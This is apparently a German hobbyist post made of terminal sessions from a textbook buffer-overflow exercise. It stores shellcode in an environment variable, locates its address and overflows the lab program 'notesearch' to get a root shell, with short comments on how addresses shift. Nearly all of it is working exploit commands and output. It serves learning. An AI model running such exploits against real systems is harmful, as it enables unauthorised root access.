root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o getenv_example getenv_example.c
root@toshiba:/home/tomovic/hack# export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
root@toshiba:/home/tomovic/hack# echo $SHELLCODE
                                                                                                                                                                                                        1 1 1ə  ̀j
                                                                 XQh//shh/bin  Q  S  ̀
root@toshiba:/home/tomovic/hack# ./getenv_example SHELLCODE
SHELLCODE is at 0xbffff811
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x11\xf8\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a.out        dissembler.c        getenvaddr.c  overflow_example       socket_reuse_restore
addr_struct.c       drop_privs.c        hacking-network.h  overflow_example.c     socket_reuse_restore.s
addressof.c       dtors_sample.c        hacking.h   pcap_sniff.c       
# exit

PS: Arbeitet mit dem Shellcode Adresse von eurem System.

root@toshiba:/home/tomovic/hack# gcc -g -fno-stack-protector -z execstack -o getenvaddr getenvaddr.c
root@toshiba:/home/tomovic/hack# export SLEDLESS=$(cat shellcode.bin)
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack#
root@toshiba:/home/tomovic/hack# ./getenv_example SLEDLESS
SLEDLESS is at 0xbfffff6d
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x6d\xff\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a.out        dissembler.c        getenvaddr  notetaker.c        simplenote.c
addr_struct.c       drop_privs.c        getenvaddr.c  overflow_example      
# exit

Nach dem Buch solltet ihr keine Shell bekommen, das ist ein Vorführeffekt vom Buch.
Der nächsten Schritt zeigt, wie schwer es ist, die Adresse herauszufinden von eurem Shellcode.

root@toshiba:/home/tomovic/hack# cp getenv_example a
root@toshiba:/home/tomovic/hack# ./a SLEDLESS
SLEDLESS is at 0xbfffff87
root@toshiba:/home/tomovic/hack# cp getenv_example bb
root@toshiba:/home/tomovic/hack# ./bb SLEDLESS
SLEDLESS is at 0xbfffff85
root@toshiba:/home/tomovic/hack# ./getenvaddr SLEDLESS ./notesearch
SLEDLESS will be at 0xbfffff75
root@toshiba:/home/tomovic/hack# ./notesearch $(perl -e 'print "\x75\xff\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 0
-------[ end of note data ]-------
# ls
a        datatype_sizes.c        getenv_example  notesearch.c        signal_example.c
a.out        decode_sniff.c        getenv_example.c  notetaker       
#

Das war wieder ein Vorführeffekt vom Buch.
Tipp: Code aus libc-2.2.2 könnt ihr vergessen, das ist Vergangenheit !!!
  

   

Forensik  

   
© ALLROUNDER